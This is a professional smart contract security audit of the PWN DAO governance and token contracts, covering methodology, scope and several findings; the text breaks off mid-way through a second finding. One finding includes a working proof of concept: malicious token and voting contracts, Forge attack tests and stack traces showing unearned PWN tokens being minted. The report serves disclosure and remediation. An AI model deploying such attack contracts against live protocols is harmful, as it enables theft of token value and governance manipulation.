// Private Smart Contract Security Assessment 03.11.2024 - 04.02.2024

DAO PWN

HALBORN

DAO - PWN

Prepared by: HALBORN

Last Updated 04/22/2024

Date of Engagement by: March 11th, 2024 - April 2nd, 2024

Summary

100% ⓘ OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
11	0	0	1	3	7

TABLE OF CONTENTS

Introduction

PWN team engaged Halborn to conduct a security assessment on their smart contracts beginning on March 11th, and ending on April 2nd. The security assessment was scoped to the smart contracts provided in the PWNFinance/pwn_dao GitHub repository. Commit hashes and further details can be found in the Scope section of this report.

Assessment Summary

Halborn was provided 2.5 weeks for the engagement and assigned 1 full-time security engineer to review the security of the smart contracts in scope. The engineer is a blockchain and smart contract security expert with advanced penetration testing and smart contract hacking skills, and deep knowledge of multiple blockchain protocols.
The purpose of the assessment is to:

- Identify potential security issues within the smart contracts.
- Ensure that smart contract functionality operates as intended.

In summary, Halborn identified issues that were mostly addressed by the PWN team.

Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions (solgraph).
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions (slither).
- Testnet deployment (Foundry).

Out-Of-Scope

- External libraries and financial-related attacks.
- New features/implementations after/with the **remediation commit IDs.**
- Changes that occur outside of the scope of PRs/Commits.

1. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

1.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILIY METRIC (m_e)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33

EXPLOITABILIY METRIC (m_e)	METRIC VALUE	NUMERICAL VALUE
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

1.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (m_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1

IMPACT METRIC (m_I)	METRIC VALUE	NUMERICAL VALUE
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

1.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

2. SCOPE

FILES AND REPOSITORY

(a) Repository: pwn_dao

(b) Assessed Commit ID: 96c423d

(c) Contracts in scope:

- src/governance/optimistic/IPWNOptimisticGovernance.sol
- src/governance/optimistic/PWNOptimisticGovernancePlugin.sol
- src/governance/optimistic/PWNOptimisticGovernancePluginSetup.sol
- src/governance/token/IPWNTokenGovernance.sol
- src/governance/token/PWNTokenGovernancePlugin.sol
- src/governance/token/PWNTokenGovernancePluginSetup.sol
- src/governance/permission/DAOExecuteAllowlist.sol
- src/interfaces/IPWNEpochClock.sol
- src/interfaces/IStakedPWNSupplyManager.sol
- src/lib/Error.sol
- src/lib/EpochPowerLib.sol
- src/lib/SlotComputingLib.sol
- src/lib/BitMaskLib.sol
- src/token/vePWN/VoteEscrowedPWNBase.sol
- src/token/vePWN/VoteEscrowedPWNPower.sol
- src/token/vePWN/VoteEscrowedPWNStake.sol
- src/token/vePWN/VoteEscrowedPWNStakeMetadata.sol
- src/token/vePWN/VoteEscrowedPWNStorage.sol
- src/token/VoteEscrowedPWN.sol
- src/token/StakedPWN.sol
- src/token/PWN.sol
- src/PWNEpochClock.sol

Out-of-Scope:

REMEDIATION COMMIT ID:

- 8e0c6e9
- 2a1c924
- 4960d67

Out-of-Scope: New features/implementations after the remediation commit IDs.

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	0	1	3	7

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-02 - ILLEGITIMATE REWARD CLAIMING THROUGH ABUSE OF PROPOSAL EARLY EXECUTION MECHANISM	Medium	SOLVED - 04/18/2024
HAL-01 - ATTACKER WITH ENOUGH VOTING POWER CAN CREATE AND EARLY EXECUTE ANY PROPOSAL	Low	SOLVED - 04/18/2024
HAL-04 - UNSAFE ERC-721 OPERATIONS	Low	RISK ACCEPTED
HAL-10 - REMOVE EIP-20 NON-COMPLIANT FUNCTIONS	Low	SOLVED - 04/18/2024
HAL-03 - UNSAFE ERC-20 OPERATIONS	Informational	ACKNOWLEDGED
HAL-05 - OUTDATED COMPILER VERSION	Informational	SOLVED - 04/18/2024
HAL-06 - FLOATING PRAGMA DETECTED	Informational	ACKNOWLEDGED
HAL-07 - MISSING CHECKS FOR ADDRESS(0)	Informational	ACKNOWLEDGED
HAL-08 - PRESENCE OF MAGIC NUMBERS	Informational	ACKNOWLEDGED

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-09 - EVENTS ARE MISSING `INDEXED` ATTRIBUTE	Informational	ACKNOWLEDGED
HAL-14 - NEW OPCODES ARE NOT SUPPORTED BY ALL CHAINS (SOLIDITY VERSION >= 0.8.20)	Informational	ACKNOWLEDGED

4. FINDINGS & TECH DETAILS

4.1 (HAL-02) ILLEGITIMATE REWARD CLAIMING THROUGH ABUSE OF PROPOSAL EARLY EXECUTION MECHANISM

// MEDIUM

Description

Further investigation of the contracts in-scope revealed that under certain conditions, a user can manipulate a set of functions in the `PWN.sol` contract, in conjunction with the proposal early execution mechanism, in order to **extract (mint) improper rewards in the form of PWN tokens from invalid `votingContract` and `proposalID`**.

The main issue relies on the lack of input validations in the external function `claimProposalReward`, specifically for the `address votingContract` parameter. This represents a significant security issue, as the contract is inadvertently making external calls to contracts compliant with the `IPWNTokenGovernance` interface, in user-supplied addresses, that are prematurely considered safe.

Attackers could easily **craft a malicious voting contract**, based on the `IPWNTokenGovernance` interface, and pass its address to the function parameter `votingContract`, to build an adequate state and bypass all the checks performed by the `claimProposalReward` external function.

For this exploitation scenario to be executed successfully, the attacker must create two different smart contracts: an ERC-20 contract, which will serve as `votingToken`, with a mock-up implementation of the function `getPastVotes`, and others that will serve as `votingContract`, returning mocked data in the `getProposal` and `getVotingToken` functions.

Detailed implementations for both attacking contracts can be found under **the Proof of Concept** section for this issue.

- src/token/PWN.sol [Lines: 165-213]

```
    function claimProposalReward(address votingContract, uint256
proposalId) external {
        if (votingContract == address(0)) {
            revert Error.ZeroVotingContract();
        }

        // check that the reward has been assigned
        ProposalReward storage proposalReward =
proposalRewards[votingContract][proposalId];
        uint256 assignedReward = proposalReward.reward;
        if (assignedReward == 0) {
            revert Error.ProposalRewardNotAssigned();
        }

        IPWNTokenGovernance _votingContract =
IPWNTokenGovernance(votingContract);
        ( // get proposal data
```

```
            , bool executed,
            IPWNTokenGovernance.ProposalParameters memory
proposalParameters,
            IPWNTokenGovernance.Tally memory tally,,
        ) = _votingContract.getProposal(proposalId);

        // check that the proposal has been executed
        if (!executed) {
            revert Error.ProposalNotExecuted();
        }

        // check that the caller has voted
        address voter = msg.sender;
        if (_votingContract.getVoteOption(proposalId, voter) ==
IPWNTokenGovernance.VoteOption.None) {
            revert Error.CallerHasNotVoted();
        }

        // check that the reward has not been claimed yet
        if (proposalReward.claimed[voter]) {
            revert Error.ProposalRewardAlreadyClaimed();
        }

        // store that the reward has been claimed
        proposalReward.claimed[voter] = true;

        // voter is rewarded proportionally to the amount of votes he had
in the snapshot epoch
        // it doesn't matter if he voted yes, no or abstained
        uint256 voterVotes =
_votingContract.getVotingToken().getPastVotes(voter,
proposalParameters.snapshotEpoch);
        uint256 totalVotes = tally.abstain + tally.yes + tally.no;
        uint256 voterReward = Math.mulDiv(assignedReward, voterVotes,
totalVotes);

        // mint the reward to the voter
        _mint(voter, voterReward);

        emit ProposalRewardClaimed(votingContract, proposalId, voter,
voterReward);
    }
```

The following external `setVotingReward` function in the `PWN.sol` smart contract, which is used to set the reward for voting in a proposal of a voting contract, uses the `onlyOwner` modifier. By specification of the `PWN.sol` contract, the address of the `owner` is the `DAO` address itself.

- src/token/PWN.sol [Lines: 129-139]

```
    function setVotingReward(address votingContract, uint256
votingReward) external onlyOwner {
        if (votingContract == address(0)) {
            revert Error.ZeroVotingContract();
        }
        if (votingReward > MAX_VOTING_REWARD) {
            revert Error.InvalidVotingReward();
        }
        votingRewards[votingContract] = votingReward;

        emit VotingRewardSet(votingContract, votingReward);
    }
```

As it was aforementioned, it is possible for an attacker with enough voting power to propose and early execute any proposal, based on crafted `calldata`, that can perform up to 256 actions, within the gas constraints of Ethereum Virtual Machine. It is perfectly feasible for an attacker to craft adequate `calldata`, targeting the selector for the function `setVotingReward` in the `PWN.sol` contract, and passing to the `address votingContract` parameter an address for a malicious smart contract.
This will effectively perform a call originating from the `DAO` address, that will meet the requirements imposed by the `onlyOwner` modifier and assign a `votingReward` to a malicious contract, deployed by the attacker, at the address `votingContract`.
Diving deeper into the issue, it must analyze the `assignProposalReward` external function in the `PWN.sol` contract, which takes `proposalId` as an argument and also considers the `votingContract = msg.sender`, as follows:
- src/token/PWN.sol [Lines: 142-158]

```
    function assignProposalReward(uint256 proposalId) external {
        address votingContract = msg.sender;

        // check that the voting contract has a reward set
        uint256 votingReward = votingRewards[votingContract];
        if (votingReward > 0) {
            // check that the proposal reward has not been assigned yet
            ProposalReward storage proposalReward =
proposalRewards[votingContract][proposalId];
            if (proposalReward.reward == 0) {
                // assign the reward
                uint256 reward = Math.mulDiv(totalSupply(), votingReward,
VOTING_REWARD_DENOMINATOR);
                proposalReward.reward = reward;

                emit ProposalRewardAssigned(votingContract, proposalId,
reward);
            }
```

```
        }
    }
```

After a successful early execution of the `DAO` proposal which will set a voting reward for the malicious `votingContract`, the malicious `votingContract` itself can call the `assignProposalReward` external function in the `PWN.sol` contract, which will effectively assign a `reward` for given `proposalId`.
Finally, a bad actor is able to call the `claimProposalReward` function in the `PWN.sol` contract, passing as parameter the address of the malicious `votingContract` with the respective `proposalId`, effectively bypassing all the checks in the function and minting undue rewards `PWN` tokens.

Proof of Concept

- **Malicious ERC-20 contract (Voting Token)**

Dummy ERC-20 implementation with mocked `getPastVotes` return.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract EvilToken is ERC20, Ownable {
    constructor(address initialOwner)
        ERC20("EvilToken", "EVT")
        Ownable()
    {}

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function getPastVotes(address account, uint256 epoch) external view
returns (uint256) {
        return 100_000 ether;
    }
}
```

- **Malicious Voting contract**

Crafted state is used to bypass checks on the `claimProposalReward` function.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import { IPWNTokenGovernanceAttacker } from
"src/governance/token/IPWNTokenGovernanceAttacker.sol";
```

```
import { PWN } from "src/token/PWN.sol";
import { IVotesUpgradeable } from "@openzeppelin/contracts-
upgradeable/governance/utils/IVotesUpgradeable.sol";
import { IDAO } from "@aragon/osx/core/dao/IDAO.sol";


contract MaliciousVotingContract is IPWNTokenGovernanceAttacker {
    address public pwnContractAddress;
    IVotesUpgradeable public badVotingToken;

    uint256 public fakeProposalId = 1; // Example proposal ID
    uint256 public assignedReward = 100;
    bool public executed;
    uint64 startDate = 0;
    uint64 endDate = 600;
    uint64 snapshotEpoch = 1;
    uint256 minVotingPower = 1;
    VoteOption public voteOption = VoteOption.Yes; // Pretend the
attacker voted "Yes"
    uint256 public voterVotes = 10000; // Amount of votes to claim a high
reward

    struct Action {
        address to;
        uint256 value;
        bytes data;
    }

    constructor(address _pwnContractAddress, address
_badVotingTokenAddress) {
        pwnContractAddress = _pwnContractAddress;
        badVotingToken = IVotesUpgradeable(_badVotingTokenAddress);
    }

    function supportThreshold() external view returns (uint32) {
        return 50;
    }

    // used to call `assignProposalReward` on PWN ERC-20 contract
    function assignProposalReward(uint256 proposalId) external returns
(bool) {
        PWN(pwnContractAddress).assignProposalReward(proposalId);
        return true;
    }

    function getProposal(uint256 _proposalId)
```

```
        public
        view
        returns (
            bool open,
            bool executed,
            ProposalParameters memory parameters,
            Tally memory tally,
            Action[] memory actions,
            uint256 allowFailureMap
        )
    {
        IPWNTokenGovernanceAttacker.ProposalParameters memory params_ =
IPWNTokenGovernanceAttacker.ProposalParameters(VotingMode.Standard, 1, 0,
600, 1, 1);
        IPWNTokenGovernanceAttacker.Tally memory tally_ =
IPWNTokenGovernanceAttacker.Tally(100, voterVotes, 100);

        Action[] memory actions_ = new Action[](1);
        actions_[0] = Action(address(0), 256, abi.encodePacked(""));


        open = false;
        executed = true;
        parameters = params_;
        tally = tally_;
        actions = actions_;
        allowFailureMap = 0;
    }

    function getVoteOption(uint256, address) external view returns
(VoteOption) {
        return voteOption;
    }

    function getVotingToken() external view override returns
(IVotesUpgradeable) {
        return badVotingToken;
    }

    function votingMode() external view returns (VotingMode) {
        return VotingMode.Standard;
    }
}
```

- Attacker early executes the proposal, with crafted calldata, for calling `setVotingReward` on `PWN.sol` contract (Forge test)

```
    function test_single_voter_early_execution() external {
        // calldata:
        //
852f3945000000000000000000000000269c370cb95b63f9b6a7cad47998167f160a2689000

        bytes32 settingsValue = vm.load(address(plugin),
GOVERNANCE_SETTINGS_SLOT);
        vm.store(
            address(plugin),
            GOVERNANCE_SETTINGS_SLOT,
            settingsValue |
bytes32(uint256(IPWNTokenGovernance.VotingMode.EarlyExecution))
        );
        vm.mockCall(
            votingToken,
            abi.encodeWithSelector(IVotesUpgradeable.getVotes.selector,
proposer),
            abi.encode(pastTotalSupply / 2 + 1) // supportThreshold is
50%
        );
        vm.mockCall(
            votingToken,

abi.encodeWithSelector(IVotesUpgradeable.getPastVotes.selector,
proposer),
            abi.encode(pastTotalSupply / 2 + 1) // supportThreshold is
50%
        );

        IDAO.Action[] memory actions_ = new IDAO.Action[](1);
        actions_[0] = IDAO.Action(address(rewardToken), 0,
abi.encode("852f3945000000000000000000000000269c370cb95b63f9b6a7cad47998167

        vm.prank(proposer);
        uint256 proposalId = plugin.createProposal({
            _metadata: "",
            _actions: actions_,
            _allowFailureMap: 0,
            _startDate: 0,
            _endDate: 0,
            _voteOption: IPWNTokenGovernance.VoteOption.Yes,
            _tryEarlyExecution: true
        });

        bytes32 executed = vm.load(address(plugin),
PROPOSALS_SLOT.withMappingKey(proposalId));
```

```
        assertEq(uint256(executed), 1);
    }
```

- Stack traces

```
  [435865]
PWNTokenGovernancePlugin_CreateProposal_Test::test_single_voter_early_execution()
    ├─ [0] VM::load(Token Plugin: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
0x0000000000000000000000000000000000000000000000000000000000000162) [staticcall]
    │   └─ ← [Return]
0x0000000000000000000000000000000000000015180000186a00007a12000
    ├─ [0] VM::store(Token Plugin: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
0x0000000000000000000000000000000000000000000000000000000000000162,
0x0000000000000000000000000000000000000015180000186a00007a12001)
    │   └─ ← [Return]
    ├─ [0] VM::mockCall(Voting Token: [0x10E784432779BeE9C6efa960dcF850e6F107DDc7],
0x9ab24eb0000000000000000000000006bef539e8319dacba4c2dad055006e79682c0f32,
0x0000000000000000000000000000000000000000000002b5e3af16b1880001)
    │   └─ ← [Return]
    ├─ [0] VM::mockCall(Voting Token: [0x10E784432779BeE9C6efa960dcF850e6F107DDc7],
0x3a46b1a8000000000000000000000006bef539e8319dacba4c2dad055006e79682c0f32,
0x0000000000000000000000000000000000000000000002b5e3af16b1880001)
    │   └─ ← [Return]
    ├─ [0] VM::prank(Proposer: [0x6bEf539e8319dACba4C2DaD055006E79682C0f32])
    │   └─ ← [Return]
    ├─ [414149] Token Plugin::createProposal(0x, [Action({ to:
0xd01cfB346dBC18E744eded4fE03d064f258b5956, value: 0, data:
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000
0000000000000000000000000000000000000000000000883835326633393435303030303030303030303030
3030303030303030303030303236396333373063623935623633663962366137636164343739393831363
7663136306132363839303030303030303030303030303030303030303030303030303030303030303030303030
3030303030303030303030303030303030303030303030303030303030303030363400000000000000000000000000
0000000000000000000000 })], 0, 0, 0, 2, true)
    │   ├─ [409134] Token Plugin Impl::createProposal(0x, [Action({ to:
0xd01cfB346dBC18E744eded4fE03d064f258b5956, value: 0, data:
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000
0000000000000000000000000000000000000000000000883835326633393435303030303030303030303030
3030303030303030303030303236396333373063623935623633663962366137636164343739393831363
7663136306132363839303030303030303030303030303030303030303030303030303030303030303030303030
3030303030303030303030303030303030303030303030303030303030303030363400000000000000000000000000
0000000000000000000000 })], 0, 0, 0, 2, true) [delegatecall]
    │   │   ├─ [0] Voting Token::getVotes(Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32]) [staticcall]
    │   │   │   └─ ← [Return] 5000000000000000001 [5e19]
    │   │   ├─ [0] Epoch Clock::currentEpoch() [staticcall]
    │   │   │   └─ ← [Return] 1
```

```
    |   |   ├─ [0] Voting Token::getPastTotalSupply(1) [staticcall]
    |   |   |   └─ ← [Return] 10000000000000000000 [1e20]
    |   |   ├─ emit ProposalCreated(proposalId: 0, creator: Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32], startDate: 1, endDate: 86401 [8.64e4],
metadata: 0x, actions: [Action({ to: 0xd01cfB346dBC18E744eded4fE03d064f258b5956,
value: 0, data:
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000
3030303030303030303030303030323639633337306362393562363366396236613763616434373939383136
3766313630613236383930303030303030303030303030303030303030303030303030303030303030303030
3030303030303030303030303030303030303030303030303030303030303030303030303030303030303634
0000000000000000000000000000000000000000000000000000000000000000 })], allowFailureMap: 0)
    |   |   ├─ [0] rewardToken::assignProposalReward(0)
    |   |   |   └─ ← [Return]
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
    |   |   ├─ [0] Voting Token::getPastVotes(Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32], 1) [staticcall]
    |   |   |   └─ ← [Return] 5000000000000000001 [5e19]
    |   |   ├─ emit VoteCast(proposalId: 0, voter: Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32], voteOption: 2, votingPower:
5000000000000000001 [5e19])
    |   |   ├─ [0] Voting Token::getPastTotalSupply(1) [staticcall]
    |   |   |   └─ ← [Return] 10000000000000000000 [1e20]
    |   |   ├─ [0]
DAO::execute(0x0000000000000000000000000000000000000000000000000000000000000000,
[Action({ to: 0xd01cfB346dBC18E744eded4fE03d064f258b5956, value: 0, data:
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000
3030303030303030303030303030323639633337306362393562363366396236613763616434373939383136
3766313630613236383930303030303030303030303030303030303030303030303030303030303030303030
3030303030303030303030303030303030303030303030303030303030303030303030303030303030303634
0000000000000000000000000000000000000000000000000000000000000000 })], 0)
    |   |   |   └─ ← [Return] [], 0
    |   |   ├─ emit ProposalExecuted(proposalId: 0)
    |   |   └─ ← [Return] 0
    |   └─ ← [Return] 0
    ├─ [0] VM::load(Token Plugin: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
0x982a45c0d657ffdc04d7f0ba3fddd3312473ad5e129c54434a0935688d2bb231) [staticcall]
    |   └─ ← [Return]
0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [0] VM::assertEq(1, 1) [staticcall]
    |   └─ ← [Return]
    └─ ← [Stop]
```

- Attacker claim rewards from invalid voting contract

```
    function test_halborn_claim_rewards_early_execution() public {
        console.log(unicode"🔮", StdStyle.blue("Illegitimate reward
claiming - Early execution abuse"));

        // DAO early executed proposal for enabling `setVotingReward` for
fake contract

        // step 1: From the malicious voting contract, call
`assignProposalReward`
        // which will assign itself a proposal reward
        vm.startPrank(attacker);
        console.log("Assign proposal reward to Malicious Voting
contract");
        bool assigned = mv_contract.assignProposalReward(1); // proposal
id = 1
        console.log("Assigned:", assigned);

        // step 2: now, the attacker should call
        pwn_token.claimProposalReward(mv_contract_address, 1);
        vm.stopPrank();

    }
```

- Stack traces

```
    ├─ [29774] 0x269C370CB95B63f9B6A7CAD47998167f160A2689::assignProposalReward(1)
    │   ├─ [26935]
0x0A2035683FE5587B0B09DB0e757306aD729FE6c1::assignProposalReward(1)
    │   │   ├─ emit ProposalRewardAssigned(votingContract:
0x269C370CB95B63f9B6A7CAD47998167f160A2689, proposalId: 1, reward: 50)
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [0] console::log("Assigned:", true) [staticcall]
    │   └─ ← [Stop]
    ├─ [52267]
0x0A2035683FE5587B0B09DB0e757306aD729FE6c1::claimProposalReward(0x269C370CB95B63f9B6A
7CAD47998167f160A2689, 1)
    │   ├─ [4386] 0x269C370CB95B63f9B6A7CAD47998167f160A2689::getProposal(1)
[staticcall]
    │   │   └─ ← [Return] false, true, ProposalParameters({ votingMode: 0,
supportThreshold: 1, startDate: 0, endDate: 600, snapshotEpoch: 1, minVotingPower: 1
}), Tally({ abstain: 100, yes: 10000 [1e4], no: 100 }), [Action({ to:
0x0000000000000000000000000000000000000000, value: 256, data: 0x })], 0
    │   ├─ [2589] 0x269C370CB95B63f9B6A7CAD47998167f160A2689::getVoteOption(1,
```

```
0xe8a78b476AE1403b7fD39b662545AE608Aced7c7) [staticcall]
    |   |   └─ ← [Return] 2
    |   ├─ [2375] 0x269C370CB95B63f9B6A7CAD47998167f160A2689::getVotingToken()
[staticcall]
    |   |   └─ ← [Return] 0x7B35461cc5AdbDc415c1f9562cCC342ADBf09bd4
    |   ├─ [448]
0x7B35461cc5AdbDc415c1f9562cCC342ADBf09bd4::getPastVotes(0xe8a78b476AE1403b7fD39b6625
45AE608Aced7c7, 1) [staticcall]
    |   |   └─ ← [Return] 100000000000000000000 [1e23]
    |   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to:
0xe8a78b476AE1403b7fD39b662545AE608Aced7c7, value: 490196078431372549019 [4.901e20])
    |   ├─ emit ProposalRewardClaimed(votingContract:
0x269C370CB95B63f9B6A7CAD47998167f160A2689, proposalId: 1, voter:
0xe8a78b476AE1403b7fD39b662545AE608Aced7c7, voterReward: 490196078431372549019
[4.901e20])
    |   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    |   └─ ← [Return]
    └─ ← [Stop]
```

BVSS

AO:A/AC:H/AX:M/C:C/I:C/A:C/D:C/Y:C/R:N/S:C (5.5)

Recommendation

The following remediation steps are recommended:

- Introduce a whitelist of approved voting contracts: Create a whitelist of approved voting contracts that have been verified and deemed safe. This whitelist should be maintained by the DAO or a trusted entity.

```
mapping (address => bool) public approvedVotingContracts;
```

- Update the `claimProposalReward` function to check against the whitelist: Modify the `claimProposalReward` function to check if the provided `votingContract` address is included in the whitelist of approved voting contracts before proceeding with any further operations.

```
function claimProposalReward(address votingContract, uint256 proposalId)
external {
    require(approvedVotingContracts[votingContract], "Invalid voting
contract");
    // ... rest of the function
}
```

- Update the `setVotingReward` function to include whitelisting: Modify the `setVotingReward` function to automatically add the `votingContract` address to the whitelist of approved voting contracts when a

reward is set.

```
function setVotingReward(address votingContract, uint256 votingReward)
external onlyOwner {
    // ... existing checks
    approvedVotingContracts[votingContract] = true;
    // ... rest of the function
}
```

To further enhance security, consider implementing a time lock or governance mechanism for updating the whitelist of approved voting contracts. This will help prevent unauthorized or malicious contracts from being added to the whitelist without proper review and approval.

Remediation Plan

SOLVED : The **PWN team** solved the issue on the commit id `8e0c6e9b1b3412e7068fa8efcdda0b533925985c` by removing the Early Execution mechanism.

Remediation Hash

`8e0c6e9b1b3412e7068fa8efcdda0b533925985c`

4.2 (HAL-01) ATTACKER WITH ENOUGH VOTING POWER CAN CREATE AND EARLY EXECUTE ANY PROPOSAL

// LOW

Description

The protocol under analysis allows the **creation and early execution** of proposals in the `PWNTokenGovernancePlugin.sol` contract, which is based on Paragon OSx, and therefore, inherits from the `ProposalUpgradeable.sol` contract.

It is important to mention that the voting power is tracked by `vePWN` custom non-transferrable ERC-20 tokens, which are obtained by locking `PWN` ERC-20 tokens. Different amounts and lock-up epochs have an effect on the multiplier of the voting power of individual users.

The total voting power of the DAO is also tracked by `vePWN` tokens, in their entirety, respecting the epoch which the proposal was created and/or the user casted the vote.

The proposal creation process is dictated by the `createProposal` function in the `PWNTokenGovernancePlugin.sol` contract, and allows passing a boolean value `_tryEarlyExecution` as its parameters.

- src/governance/token/PWNTokenGovernancePlugin.sol [Lines: 281-347]

```
    function createProposal(
        bytes calldata _metadata,
        IDAO.Action[] calldata _actions,
        uint256 _allowFailureMap,
        uint64 _startDate,
        uint64 _endDate,
        VoteOption _voteOption,
        bool _tryEarlyExecution
    ) external returns (uint256 proposalId) {
        // check that `_msgSender` has enough voting power
        {
            uint256 minProposerVotingPower_ = minProposerVotingPower();

            if (minProposerVotingPower_ != 0) {
                if (votingToken.getVotes(_msgSender()) <
minProposerVotingPower_) {
                    revert ProposalCreationForbidden(_msgSender());
                }
            }
        }

        uint256 snapshotEpoch = epochClock.currentEpoch();
        uint256 totalVotingPower_ = totalVotingPower(snapshotEpoch);

        if (totalVotingPower_ == 0) {
            revert NoVotingPower();
```

```
        }

        (_startDate, _endDate) = _validateProposalDates(_startDate,
_endDate);

        proposalId = _createProposal({
            _creator: _msgSender(),
            _metadata: _metadata,
            _startDate: _startDate,
            _endDate: _endDate,
            _actions: _actions,
            _allowFailureMap: _allowFailureMap
        });

        // store proposal related information
        Proposal storage proposal_ = proposals[proposalId];

        proposal_.parameters.startDate = _startDate;
        proposal_.parameters.endDate = _endDate;
        proposal_.parameters.snapshotEpoch = snapshotEpoch.toUint64();
        proposal_.parameters.votingMode = votingMode();
        proposal_.parameters.supportThreshold = supportThreshold();
        proposal_.parameters.minVotingPower =
_applyRatioCeiled(totalVotingPower_, minParticipation());

        // reduce costs
        if (_allowFailureMap != 0) {
            proposal_.allowFailureMap = _allowFailureMap;
        }

        for (uint256 i; i < _actions.length;) {
            proposal_.actions.push(_actions[i]);
            unchecked {
                ++i;
            }
        }

        // assign voting reward
        rewardToken.assignProposalReward(proposalId);

        if (_voteOption != VoteOption.None) {
